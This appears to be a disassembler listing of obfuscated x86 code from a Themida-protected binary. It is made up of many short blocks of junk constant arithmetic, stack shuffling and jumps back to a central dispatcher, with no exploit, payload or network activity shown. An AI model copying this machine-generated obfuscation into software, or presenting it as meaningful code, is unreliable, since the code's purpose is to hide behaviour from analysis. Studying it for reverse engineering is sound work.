jmp loc_559B0B
; ---------------------------------------------------------------------------
loc_5568FB: ; CODE XREF: Themida_:00559577j
push edi
jmp loc_54F51F
; ---------------------------------------------------------------------------
loc_556901: ; CODE XREF: Themida_:00551CA2j
pop eax
pop dword ptr [esp]
jmp loc_55846F
; ---------------------------------------------------------------------------
loc_55690A: ; CODE XREF: Themida_:005505CDj
mov eax, ecx
mov ecx, [esp]
push 0E29h
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub esp, 4
jmp loc_5590F4
; ---------------------------------------------------------------------------
loc_556927: ; CODE XREF: Themida_:00551633j
mov [esp], eax
push 608A7ADFh
pop eax
sub eax, 0D49113Ch
mov edi, eax
push dword ptr [esp]
jmp loc_555A1C
; ---------------------------------------------------------------------------
loc_55693F: ; CODE XREF: Themida_:00559F0Bj
mov ebp, 16D70BD8h
xor ebp, 15082EC6h
neg ebp
sub ebp, 27D17DE4h
sub ebp, 3D962943h
sub ebp, 96B93397h
mov ecx, ebp
pop ebp
add ecx, 3BC9596Dh
jmp loc_557A8F
; ---------------------------------------------------------------------------
mov ecx, [esp]
push 5151h
mov [esp], ecx
jmp loc_552636
; ---------------------------------------------------------------------------
loc_55697C: ; CODE XREF: Themida_:00550F46j
push ebp
mov ebp, 2
push esi
mov esi, 117543A8h
add esi, 5E02417h
jmp loc_553E50
; ---------------------------------------------------------------------------
loc_556993: ; CODE XREF: Themida_:005523BBj
mov eax, ecx
pop ecx
xor ebx, eax
pop eax
not ebx
push ecx
jmp loc_5554CB
; ---------------------------------------------------------------------------
loc_5569A1: ; CODE XREF: Themida_:0054FDFBj
sub ebx, 183934BAh
sub ebx, eax
add ebx, 183934BAh
sub ebx, 26C172F1h
jmp loc_551A10
; ---------------------------------------------------------------------------
loc_5569BA: ; CODE XREF: Themida_:005568EEj
xor ebp, 77062B0Ch
add edi, ebp
push dword ptr [esp]
pop ebp
jmp loc_5509C8
; ---------------------------------------------------------------------------
loc_5569CB: ; CODE XREF: Themida_:0055194Cj
shl edx, 2
shr edx, 2
not edx
sub edx, 0C57C36A1h
sub edi, edx
jmp loc_550BC9
; ---------------------------------------------------------------------------
loc_5569E0: ; CODE XREF: Themida_:005566E8j
push edx
jmp loc_54F94C
; ---------------------------------------------------------------------------
loc_5569E6: ; CODE XREF: Themida_:00550353j
neg ebp
jmp loc_559317
; ---------------------------------------------------------------------------
loc_5569ED: ; CODE XREF: Themida_:00558DBAj
mov ecx, 3CB1B5CDh
add ecx, ebp
pop ebp
mov ebx, ecx
pop ecx
sub dword ptr [esp+4], 3FA87619h
add [esp+4], ebx
add dword ptr [esp+4], 3FA87619h
pop ebx
sub [esp], eax
sub dword ptr [esp], 5F3D018Ch
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_556A1C: ; CODE XREF: Themida_:00553813j
mov ch, 8Ah
jmp loc_559DBE
; ---------------------------------------------------------------------------
loc_556A23: ; CODE XREF: Themida_:0054F6AEj
or edx, ebx
pop ebx
shr edx, 1
jmp loc_556170
; ---------------------------------------------------------------------------
loc_556A2D: ; CODE XREF: Themida_:0055A745j
push ebx
mov ebx, 4F036469h
or ebx, 267D3A8Eh
jmp loc_55A661
; ---------------------------------------------------------------------------
loc_556A3E: ; CODE XREF: Themida_:0054F17Dj
add ecx, 4
jmp loc_557C24
; ---------------------------------------------------------------------------
loc_556A49: ; CODE XREF: Themida_:005595CCj
pop ebx
add esp, 4
jmp loc_55598A
; ---------------------------------------------------------------------------
loc_556A52: ; CODE XREF: Themida_:0055795Aj
add ecx, 4
push esi
mov esi, 4
add ecx, esi
jmp loc_55783C
; ---------------------------------------------------------------------------
loc_556A65: ; CODE XREF: Themida_:0054ED5Ej
push eax
jmp loc_55818E
; ---------------------------------------------------------------------------
loc_556A6B: ; CODE XREF: Themida_:00552184j
mov [esp], ebx
pop ecx
push 5A40h
jmp loc_553117
; ---------------------------------------------------------------------------
xor [esp], ah
jmp loc_553C1A
; ---------------------------------------------------------------------------
loc_556A81: ; CODE XREF: Themida_:00553A68j
pop eax
xchg ebx, [esp]
pop esp
jmp loc_557D39
; ---------------------------------------------------------------------------
loc_556A8B: ; CODE XREF: Themida_:00553DC8j
sub edx, eax
mov eax, [esp]
add esp, 4
add edx, 71101919h
jmp loc_5543E7
; ---------------------------------------------------------------------------
loc_556A9E: ; CODE XREF: Themida_:0055669Bj
sub esi, 4D27430Fh
jmp loc_553B47
; ---------------------------------------------------------------------------
loc_556AA9: ; CODE XREF: Themida_:005563F8j
mov [esp], ebx
mov ebx, 2BB84187h
push ebx
mov ebx, 80F16A5h
jmp loc_554721
; ---------------------------------------------------------------------------
loc_556ABC: ; CODE XREF: Themida_:00550F11j
xor [esp], esi
push dword ptr [esp]
jmp loc_5551ED
; ---------------------------------------------------------------------------
loc_556AC7: ; CODE XREF: Themida_:0055AA1Fj
push esi
mov esi, 1C3337CFh
jmp loc_55A111
; ---------------------------------------------------------------------------
loc_556AD2: ; CODE XREF: Themida_:00559A3Bj
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_5573CD
; ---------------------------------------------------------------------------
loc_556B00: ; CODE XREF: Themida_:0055A5B3j
xor esi, 7B7C7132h
mov edx, esi
pop esi
sub ebx, 7DBF67BFh
sub ebx, edx
add ebx, 7DBF67BFh
pop edx
add ebx, 618C44DCh
add ebx, eax
sub esp, 4
mov [esp], ecx
mov ecx, 618C44DCh
sub ebx, ecx
push dword ptr [esp]
pop ecx
jmp loc_559E18
; ---------------------------------------------------------------------------
loc_556B36: ; CODE XREF: Themida_:00551B9Bj
add edx, eax
xor [edx], ebx
pop edx
jmp loc_550195
; ---------------------------------------------------------------------------
loc_556B40: ; CODE XREF: Themida_:00558EFEj
mov edx, ebx
mov ebx, [esp]
add esp, 4
and eax, edx
push dword ptr [esp]
pop edx
push edi
push esp
pop edi
add edi, 4
add edi, 4
jmp loc_5520A3
; ---------------------------------------------------------------------------
loc_556B62: ; CODE XREF: Themida_:00554B6Aj
add [esp+4], ecx
pop ecx
push esi
mov esi, 2B9938BAh
sub [esp+4], esi
pop esi
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_556B77: ; CODE XREF: Themida_:0054EF36j
mov cx, [esp]
push ebx
push esp
jmp loc_558CDD
; ---------------------------------------------------------------------------
loc_556B82: ; CODE XREF: Themida_:00558ABDj
pop dword ptr [esp]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_556B8A: ; CODE XREF: Themida_:0055521Aj
sub esp, 4
mov [esp], ecx
sub esp, 4
mov [esp], ebp
jmp loc_55461D
; ---------------------------------------------------------------------------
loc_556B9E: ; CODE XREF: Themida_:0054FE6Aj
add edi, 2
sub esp, 4
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
pop small word ptr [esp]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_556BBC: ; CODE XREF: Themida_:0055AD58j
add ecx, edx
mov edx, [esp]
add esp, 4
sub [esp+4], ecx
jmp loc_558A06
; ---------------------------------------------------------------------------
loc_556BD0: ; CODE XREF: Themida_:0055335Cj
sub esp, 4
mov [esp], esi
mov esi, 4
jmp loc_55946B
; ---------------------------------------------------------------------------
loc_556BE0: ; CODE XREF: Themida_:00552F2Aj
mov esp, [esp]
add [esp], al
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_556BEC: ; CODE XREF: Themida_:00559E87j
sub edi, 21637654h
add edi, eax
jmp loc_550A41
; ---------------------------------------------------------------------------
loc_556BF9: ; CODE XREF: Themida_:0054F100j
shl eax, 3
sub eax, 615EC37h
jmp loc_5552FB
; ---------------------------------------------------------------------------
loc_556C06: ; CODE XREF: Themida_:00552866j
inc dh
jmp loc_54ED21
; ---------------------------------------------------------------------------
loc_556C0D: ; CODE XREF: Themida_:0054F693j
mov eax, 7C470404h
push ebp
mov ebp, 6D91521Eh
or ebp, 38451EF0h
shl ebp, 3
or ebp, 361B2A39h
not ebp
shr ebp, 6
xor ebp, 70B648Eh
or eax, ebp
pop ebp
jmp loc_55AF7F
; ---------------------------------------------------------------------------
loc_556C3A: ; CODE XREF: Themida_:005593B3j
add edx, eax
jmp loc_5503EB
; ---------------------------------------------------------------------------
loc_556C41: ; CODE XREF: Themida_:00559EC9j
push ebx
sub dword ptr [esp], 587A4227h
pop edx
push ebx
jmp loc_55963D
; ---------------------------------------------------------------------------
loc_556C50: ; CODE XREF: Themida_:00552AC4j
xor esi, 7FC270A7h
jmp loc_558F9C
; ---------------------------------------------------------------------------
loc_556C5B: ; CODE XREF: Themida_:00559204j
push ebx
jmp loc_558909
; ---------------------------------------------------------------------------
loc_556C61: ; CODE XREF: Themida_:0055868Fj
mov ebx, eax
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_557513
; ---------------------------------------------------------------------------
loc_556C74: ; CODE XREF: Themida_:0055AAAEj
push ebp
jmp loc_552813
; ---------------------------------------------------------------------------
loc_556C7A: ; CODE XREF: Themida_:00552B14j
sub ecx, 0FC409E35h
add ecx, edi
push eax
push edx
mov edx, 0
mov eax, edx
pop edx
add eax, ecx
add [eax], edx
pop eax
pop ecx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
loc_556CAE: ; CODE XREF: Themida_:0054F93Ej
push ebx
push dword ptr [esp]
pop eax
push ebp
mov ebp, esp
push ecx
jmp loc_55291B
; ---------------------------------------------------------------------------
loc_556CBC: ; CODE XREF: Themida_:00552A21j
mov ebp, 242F74B9h
sub edx, ebp
pop ebp
pop edi
push eax
mov eax, 2
sub edx, 50F2751Dh
add edx, eax
add edx, 50F2751Dh
jmp loc_55047A
; ---------------------------------------------------------------------------
loc_556CDE: ; CODE XREF: Themida_:005522ECj
xor edx, 35AE1A1Fh
not edx
jmp loc_559C4D
; ---------------------------------------------------------------------------
loc_556CEB: ; CODE XREF: Themida_:005567E1j
push esi
jmp loc_554B9B
; ---------------------------------------------------------------------------
loc_556CF1: ; CODE XREF: Themida_:00557069j
add esp, 4
add ebx, 4C9F7274h
jmp loc_55664B
; ---------------------------------------------------------------------------
loc_556CFF: ; CODE XREF: Themida_:0054F177j
shl dl, 3
jmp loc_54F668
; ---------------------------------------------------------------------------
mov cx, [esp]
push 543Fh
mov [esp], eax
jmp loc_55519E
; ---------------------------------------------------------------------------
loc_556D18: ; CODE XREF: Themida_:005592A2j
push 6D1Ah
jmp loc_552D4F
; ---------------------------------------------------------------------------
loc_556D22: ; CODE XREF: Themida_:00557439j
mov ebp, 4
mov edi, ebp
pop ebp
sub ecx, 37B52E4Dh
add ecx, edi
add ecx, 37B52E4Dh
mov edi, [esp]
add esp, 4
add ecx, 2
xchg ecx, [esp]
jmp loc_5594B1
; ---------------------------------------------------------------------------
loc_556D49: ; CODE XREF: Themida_:0055A780j
add ecx, 4
jmp loc_555B23
; ---------------------------------------------------------------------------
loc_556D54: ; CODE XREF: Themida_:005554F0j
dec ecx
sub ecx, 85666435h
sub esi, ecx
pop ecx
shr esi, 3
push edx
mov edx, 5CB07AD9h
add esi, edx
jmp loc_55255E
; ---------------------------------------------------------------------------
loc_556D6E: ; CODE XREF: Themida_:0055353Ej
xor eax, 0C3104352h
sub edx, 6C2D7D8Dh
add edx, eax
add edx, 6C2D7D8Dh
pop eax
xchg edx, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_559EFC
; ---------------------------------------------------------------------------
loc_556D91: ; CODE XREF: Themida_:0054FA63j
push edx
push ecx
jmp loc_5596FE
; ---------------------------------------------------------------------------
loc_556D98: ; CODE XREF: Themida_:00557221j
push edx
push esp
jmp loc_55074D
; ---------------------------------------------------------------------------
loc_556D9F: ; CODE XREF: Themida_:0054F4B8j
mov esp, [esp]
add esi, 33535AFBh
add esi, ebx
sub esi, 33535AFBh
jmp loc_55AF45
; ---------------------------------------------------------------------------
loc_556DB5: ; CODE XREF: Themida_:0055A980j
pop eax
pop dword ptr [esp]
pop esp
add esp, 4
push 3180h
mov [esp], ebx
jmp loc_54ECBB
; ---------------------------------------------------------------------------
loc_556DCD: ; CODE XREF: Themida_:0055A6AFj
mov esp, [esp]
dec byte ptr [esp]
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_556DD9: ; CODE XREF: Themida_:00559743j
pop edi
pop dword ptr [esp]
mov esp, [esp]
and [esp], al
pushf
jmp loc_55AEFE
; ---------------------------------------------------------------------------
loc_556DE9: ; CODE XREF: Themida_:0055B003j
mov ecx, 486E3539h
jmp loc_557055
; ---------------------------------------------------------------------------
loc_556DF3: ; CODE XREF: Themida_:0055014Fj
pop edi
or ebx, 6E287A60h
add ebx, 8D318249h
jmp loc_5522E9
; ---------------------------------------------------------------------------
loc_556E05: ; CODE XREF: Themida_:0054EAFBj
mov esp, [esp]
mov [esp], ebp
mov ebp, esp
push ebx
mov ebx, 49343875h
shl ebx, 5
push eax
mov eax, 435F7D05h
sub ebx, eax
push dword ptr [esp]
pop eax
jmp loc_558639
; ---------------------------------------------------------------------------
loc_556E27: ; CODE XREF: Themida_:005584B9j
add dl, ah
pop eax
shr dl, 6
or dl, 13h
xor dl, 0BBh
mov al, dl
jmp loc_54ED5A
; ---------------------------------------------------------------------------
loc_556E3A: ; CODE XREF: Themida_:0055247Dj
pop esp
shl word ptr [esp], cl
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_556E45: ; CODE XREF: Themida_:0055297Fj
mov [esp], eax
push 58E5h
mov [esp], ebp
push dword ptr [esp+4]
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
pop dword ptr [esp]
push ebp
not dword ptr [esp]
mov ebp, [esp]
add esp, 4
jmp loc_556303
; ---------------------------------------------------------------------------
loc_556E78: ; CODE XREF: Themida_:00559B2Ej
add eax, 563F4994h
or eax, 715B1A41h
sub eax, 32F1129Ch
mov edi, eax
jmp loc_55A9A2
; ---------------------------------------------------------------------------
loc_556E8E: ; CODE XREF: Themida_:00553596j
push eax
mov eax, 2C3A43E9h
xchg eax, esi
jmp loc_55897F
; ---------------------------------------------------------------------------
loc_556E9A: ; CODE XREF: Themida_:00558612j
sub edx, ecx
pop ecx
shr edx, 8
and edx, 104E637Ch
jmp loc_555BD2
; ---------------------------------------------------------------------------
loc_556EAB: ; CODE XREF: Themida_:00554700j
inc ecx
sub ecx, 2508007Fh
jmp loc_5567B2
; ---------------------------------------------------------------------------
loc_556EB7: ; CODE XREF: Themida_:00554A44j
mov eax, [esp]
add esp, 4
push 4B3Fh
mov [esp], ebp
push 5C5Bh
mov [esp], edx
mov edx, 283F01C7h
jmp loc_556586
; ---------------------------------------------------------------------------
loc_556EDA: ; CODE XREF: Themida_:00555B70j
push esi
mov esi, 18DD3542h
not esi
add esi, 942D3C64h
push 5A68h
mov [esp], edx
jmp loc_5579E7
; ---------------------------------------------------------------------------
loc_556EF5: ; CODE XREF: Themida_:00555DEBj
pop esi
add esp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_54F865
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_5579DA
; ---------------------------------------------------------------------------
loc_556F19: ; CODE XREF: Themida_:00554F92j
add eax, 0BB75633h
add eax, edi
sub eax, 0BB75633h
pop edi
jmp loc_557771
; ---------------------------------------------------------------------------
loc_556F2B: ; CODE XREF: Themida_:00552BE0j
sub eax, 12751E7h
mov esi, [esp]
jmp loc_55A4E6
; ---------------------------------------------------------------------------
loc_556F38: ; CODE XREF: Themida_:0055423Bj
push edi
mov edi, 28D46D2h
mov ebx, edi
pop edi
jmp loc_553CD6
; ---------------------------------------------------------------------------
loc_556F46: ; CODE XREF: Themida_:00553DBEj
mov bl, [esp]
push eax
jmp loc_554A71
; ---------------------------------------------------------------------------
loc_556F4F: ; CODE XREF: Themida_:00553342j
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
sub esp, 4
mov [esp], ebx
push 4304h
jmp loc_559981
; ---------------------------------------------------------------------------
loc_556F69: ; CODE XREF: Themida_:00558EADj
push ebp
push esp
mov ebp, [esp]
add esp, 4
add ebp, 4
add ebp, 2
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_552007
; ---------------------------------------------------------------------------
loc_556F85: ; CODE XREF: Themida_:0055A343j
mov edi, 1029680Eh
push ecx
mov ecx, 6BFADE82h
add edi, ecx
pop ecx
and ebp, edi
pop edi
xor ebp, 42DA0BE8h
and ebp, 444003BCh
jmp loc_5512E5
; ---------------------------------------------------------------------------
loc_556FA7: ; CODE XREF: Themida_:00550977j
mov ebx, 323F4AE1h
not ebx
jmp loc_5531F1
; ---------------------------------------------------------------------------
loc_556FB3: ; CODE XREF: Themida_:0055267Fj
inc al
not al
push edx
jmp loc_54F89E
; ---------------------------------------------------------------------------
loc_556FBD: ; CODE XREF: Themida_:005502DFj
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push 4F2Dh
mov [esp], edx
push 3578h
mov [esp], eax
mov eax, 349432F1h
push esi
mov esi, 27593455h
add esi, 7A69735Ah
mov edx, esi
pop esi
sub edx, eax
jmp loc_557CDC
; ---------------------------------------------------------------------------
loc_556FF4: ; CODE XREF: Themida_:00551562j
push ebp
push 23AFh
jmp loc_550A5E
; ---------------------------------------------------------------------------
loc_556FFF: ; CODE XREF: Themida_:00555EB0j
mov ecx, [esp]
add esp, 4
mov eax, 119E592Ch
xor eax, edx
pop edx
jmp loc_554E15
; ---------------------------------------------------------------------------
loc_557012: ; CODE XREF: Themida_:005547E4j
push 124Fh
jmp loc_55771A
; ---------------------------------------------------------------------------
loc_55701C: ; CODE XREF: Themida_:005544E1j
sub esp, 4
jmp loc_551454
; ---------------------------------------------------------------------------
loc_557027: ; CODE XREF: Themida_:0055378Ej
xchg esi, [esp]
pop esp
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_5530EF
; ---------------------------------------------------------------------------
loc_557039: ; CODE XREF: Themida_:00558DB2j
mov [esp], ecx
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_557041: ; CODE XREF: Themida_:00558524j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_555A70
; ---------------------------------------------------------------------------
loc_557055: ; CODE XREF: Themida_:00556DEEj
add ebx, 641F4120h
add ebx, ecx
push edi
mov edi, 641F4120h
sub ebx, edi
pop edi
mov ecx, [esp]
jmp loc_556CF1
; ---------------------------------------------------------------------------
loc_55706E: ; CODE XREF: Themida_:0054F3C4j
mov [esp], edi
jmp loc_54F182
; ---------------------------------------------------------------------------
loc_557076: ; CODE XREF: Themida_:0054FA49j
add ebp, 368A76BAh
sub ebp, 195C2A89h
xor esi, ebp
pop ebp
add edx, esi
mov esi, [esp]
push edx
mov edx, esp
jmp loc_55331A
; ---------------------------------------------------------------------------
loc_557092: ; CODE XREF: Themida_:005584FBj
add ebp, 4
xchg ebp, [esp]
pop esp
mov edx, [esp]
add esp, 4
push dword ptr [esp]
pop ebx
push eax
mov eax, esp
jmp loc_555D01
; ---------------------------------------------------------------------------
loc_5570B1: ; CODE XREF: Themida_:0055B021j
mov ebp, 3EBB78E4h
mov esi, 0D3B6E748h
add esi, ebp
jmp loc_55A2EC
; ---------------------------------------------------------------------------
loc_5570C2: ; CODE XREF: Themida_:005512F7j
add ecx, 7BBB093Ah
inc ecx
jmp loc_55152A
; ---------------------------------------------------------------------------
loc_5570CE: ; CODE XREF: Themida_:0055AEB2j
sub esp, 4
mov [esp], esi
mov esi, 7C37D7E9h
push esi
push ebx
mov ebx, 2E317E90h
jmp loc_553ADD
; ---------------------------------------------------------------------------
loc_5570E8: ; CODE XREF: Themida_:00555EF9j
push 2714h
mov [esp], edi
push edx
mov edx, 0FC008D4h
or edx, 385879EBh
jmp loc_55A841
; ---------------------------------------------------------------------------
lodsd
sub esp, 4
mov [esp], edx
push ecx
jmp loc_55B13B
; ---------------------------------------------------------------------------
loc_55710E: ; CODE XREF: Themida_:0054EDC8j
add esp, 4
push dword ptr [edi+eax*4]
push 582Fh
mov [esp], ecx
mov ecx, 413B0E27h
sub [esp+4], ecx
push dword ptr [esp]
pop ecx
add esp, 4
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
sub esp, 4
mov [esp], ebx
push 413B0E27h
pop ebx
add eax, ebx
jmp loc_557314
; ---------------------------------------------------------------------------
loc_557157: ; CODE XREF: Themida_:00555762j
or [esp], al
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_557160: ; CODE XREF: Themida_:00555F7Aj
xor ecx, [esp]
xor [esp], ecx
jmp loc_558617
; ---------------------------------------------------------------------------
loc_55716B: ; CODE XREF: Themida_:00552ACBj
dec bl
not bl
xor bl, 9Ch
add dh, 0EEh
add dh, bl
sub dh, 0EEh
pop ebx
add dh, 20h
jmp loc_557B75
; ---------------------------------------------------------------------------
loc_557183: ; CODE XREF: Themida_:00558A28j
shr edx, 1
cmp eax, edx
jz loc_55AE10
push edx
push 40940940h
mov edx, [esp]
push 3D72h
mov [esp], ecx
push esp
pop ecx
add ecx, 4
push ebp
mov ebp, 60792CE9h
jmp loc_54F8A4
; ---------------------------------------------------------------------------
loc_5571B1: ; CODE XREF: Themida_:00550EC1j
mov esp, [esp]
jmp loc_55A521
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_554D62
; ---------------------------------------------------------------------------
loc_5571C1: ; CODE XREF: Themida_:0055301Aj
mov [esp], edx
mov edx, 5CAE57D8h
jmp loc_551B7C
; ---------------------------------------------------------------------------
loc_5571CE: ; CODE XREF: Themida_:00559820j
add esp, 4
add edx, 2DFD502Ch
jmp loc_5559B9
; ---------------------------------------------------------------------------
mov ax, [esp]
push 19F7h
mov [esp], eax
mov eax, esp
push esi
jmp loc_5565CF
; ---------------------------------------------------------------------------
loc_5571F3: ; CODE XREF: Themida_:0055A3C0j
mov eax, esp
add eax, 4
add eax, 2
xchg eax, [esp]
mov esp, [esp]
dec cl
push ebx
mov bl, 9Ch
sub cl, bl
pop ebx
add al, 2
add al, cl
jmp loc_55036A
; ---------------------------------------------------------------------------
loc_557214: ; CODE XREF: Themida_:0055144Fj
not ecx
xchg ecx, edi
sub esp, 4
mov [esp], eax
jmp loc_556D98
; ---------------------------------------------------------------------------
loc_557226: ; CODE XREF: Themida_:0054FCD2j
push 1D03h
mov [esp], edi
mov edi, 68673C15h
push 50BCh
jmp loc_55600A
; ---------------------------------------------------------------------------
loc_55723D: ; CODE XREF: Themida_:005510DFj
mov [esp], ebp
jmp loc_5582F2
; ---------------------------------------------------------------------------
push dword ptr [edi+2Ch]
jmp loc_553AF7
; ---------------------------------------------------------------------------
loc_55724D: ; CODE XREF: Themida_:005500B8j
push eax
jmp loc_558A15
; ---------------------------------------------------------------------------
loc_557253: ; CODE XREF: Themida_:00551E49j
sub esp, 4
jmp loc_55AE37
; ---------------------------------------------------------------------------
loc_55725B: ; CODE XREF: Themida_:00559EE4j
mov dh, bl
xchg cl, dh
jmp loc_552504
; ---------------------------------------------------------------------------
loc_557264: ; CODE XREF: Themida_:00555D82j
xor ecx, 46385D9Dh
add esi, ecx
pop ecx
dec esi
and esi, 4A6C2E51h
sub esi, 7F0C4A75h
xor esi, 811BE39Fh
add ebx, esi
jmp loc_553417
; ---------------------------------------------------------------------------
loc_557287: ; CODE XREF: Themida_:0054F800j
xor edx, 435EE3D9h
jmp loc_559E44
; ---------------------------------------------------------------------------
loc_557292: ; CODE XREF: Themida_:00550176j
mov esp, [esp]
mov ax, [esp]
push 22EAh
mov [esp], esi
sub esp, 4
mov [esp], esp
jmp loc_55330D
; ---------------------------------------------------------------------------
loc_5572AC: ; CODE XREF: Themida_:005523D4j
shr ebp, 7
sub ebp, 0B381E76h
jmp loc_5508B0
; ---------------------------------------------------------------------------
loc_5572BA: ; CODE XREF: Themida_:005560B2j
xor ecx, 21CE5009h
jmp loc_550F57
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5572D3: ; CODE XREF: Themida_:00550C0Bj
mov [esp], ebp
mov ebp, 644825C7h
neg ebp
shr ebp, 4
xor ebp, 22224519h
mov ebx, ebp
pop ebp
jmp loc_55989F
; ---------------------------------------------------------------------------
loc_5572EE: ; CODE XREF: Themida_:005528E5j
xor [esp], ebx
xor ebx, [esp]
pop esp
jmp loc_553564
; ---------------------------------------------------------------------------
loc_5572FA: ; CODE XREF: Themida_:00559DD0j
pop ecx
jmp loc_554A49
; ---------------------------------------------------------------------------
loc_557300: ; CODE XREF: Themida_:00550FE0j
pop eax
xor al, dl
mov edx, [esp]
add esp, 4
jmp loc_5522D6
; ---------------------------------------------------------------------------
loc_55730E: ; CODE XREF: Themida_:005536C7j
push esp
jmp loc_54F5FF
; ---------------------------------------------------------------------------
loc_557314: ; CODE XREF: Themida_:00557152j
mov ebx, [esp]
add esp, 4
or eax, eax
jnz loc_54F8D9
push 3053h
mov [esp], eax
mov eax, 1
push eax
push dword ptr [esp]
pop edx
push edi
mov edi, esp
push ebp
mov ebp, 4
sub edi, 22103288h
add edi, ebp
add edi, 22103288h
pop ebp
push ecx
mov ecx, 4
jmp loc_551C81
; ---------------------------------------------------------------------------
loc_55735A: ; CODE XREF: Themida_:005575B1j
pop edx
add edx, 22466F46h
pop edi
sub [esp+4], edx
mov edx, [esp]
sub esp, 4
mov [esp], eax
jmp loc_54EDEC
; ---------------------------------------------------------------------------
loc_557377: ; CODE XREF: Themida_:0055A940j
sub eax, 4BBC6BB8h
sub eax, 5D0B191Dh
jmp loc_555EFE
; ---------------------------------------------------------------------------
loc_557386: ; CODE XREF: Themida_:00557801j
mov edx, 6C8B1DD1h
jmp loc_55AAEC
; ---------------------------------------------------------------------------
loc_557390: ; CODE XREF: Themida_:00557E47j
and ecx, ebp
push dword ptr [esp]
jmp loc_55A27C
; ---------------------------------------------------------------------------
loc_55739A: ; CODE XREF: Themida_:0054F610j
push eax
mov eax, 54A14CD8h
push ebp
mov ebp, 3B659AEh
jmp loc_559483
; ---------------------------------------------------------------------------
loc_5573AB: ; CODE XREF: Themida_:005556EAj
push ecx
jmp loc_551D18
; ---------------------------------------------------------------------------
loc_5573B1: ; CODE XREF: Themida_:00553662j
add edi, 0B96F2222h
add ebp, 611C0A42h
jmp loc_554B6F
; ---------------------------------------------------------------------------
loc_5573C2: ; CODE XREF: Themida_:005521D4j
push ebx
mov ebx, 108011C5h
jmp loc_55019B
; ---------------------------------------------------------------------------
loc_5573CD: ; CODE XREF: Themida_:00556AFBj
push dword ptr [eax]
jmp loc_55606A
; ---------------------------------------------------------------------------
loc_5573D4: ; CODE XREF: Themida_:00554222j
mov ah, 8
or bl, ah
pop ax
jmp loc_557F2D
; ---------------------------------------------------------------------------
loc_5573DF: ; CODE XREF: Themida_:0055AA99j
push ecx
push ebp
mov ebp, 14F92C79h
mov ecx, ebp
pop ebp
mov edx, ecx
jmp loc_553699
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edx
push ecx
push eax
jmp loc_55A390
; ---------------------------------------------------------------------------
loc_55740D: ; CODE XREF: Themida_:00554351j
pop dword ptr [esp]
mov esp, [esp]
mov [esp], cx
movzx cx, al
jmp loc_54FA79
; ---------------------------------------------------------------------------
loc_557420: ; CODE XREF: Themida_:0055997Cj
sub [esp], eax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_557429: ; CODE XREF: Themida_:005536E5j
pop ecx
add esp, 4
push edi
push 5204h
mov [esp], ebp
jmp loc_556D22
; ---------------------------------------------------------------------------
loc_55743E: ; CODE XREF: Themida_:00554E75j
sub esp, 4
mov [esp], ecx
push eax
mov al, 0EDh
mov cl, 4Dh
xor cl, al
jmp loc_55A9EC
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_5531EC
; ---------------------------------------------------------------------------
loc_55745A: ; CODE XREF: Themida_:00554E63j
push ecx
jmp loc_552F9F
; ---------------------------------------------------------------------------
loc_557460: ; CODE XREF: Themida_:005539A8j
push 0
sub [esp], edx
pop edx
neg edx
xor edx, 743F42DFh
sub esi, edx
pop edx
push ebp
mov ebp, 59B167EDh
shl ebp, 2
or ebp, 15F514EEh
or ebp, 0B210D89h
and ebp, 7A12606h
and ebp, 426A5415h
push esi
mov esi, 0C127941Ah
sub ebp, esi
pop esi
sub esi, ebp
pop ebp
add esi, eax
add esi, 40F86FEAh
jmp loc_55781E
; ---------------------------------------------------------------------------
lodsb
sub al, 51h
sub al, 4Bh
jmp loc_552AAB
; ---------------------------------------------------------------------------
loc_5574B8: ; CODE XREF: Themida_:005598EAj
or eax, edx
pop edx
xor eax, 41730316h
jmp loc_54F21B
; ---------------------------------------------------------------------------
loc_5574C5: ; CODE XREF: Themida_:00555B42j
mov [esp], edi
jmp loc_5522DC
; ---------------------------------------------------------------------------
loc_5574CD: ; CODE XREF: Themida_:005566C7j
mov [esp], ecx
mov ecx, 2FE236D5h
xor esi, ecx
pop ecx
add esi, 7DEF3721h
add esi, 7E8C5244h
add ebp, esi
jmp loc_554951
; ---------------------------------------------------------------------------
loc_5574EB: ; CODE XREF: Themida_:00554A61j
sub ebp, 0E0A0AC4h
jmp loc_5532A9
; ---------------------------------------------------------------------------
loc_5574F6: ; CODE XREF: Themida_:00550148j
mov edi, eax
pop eax
push ebx
mov ebx, 3C373D9Bh
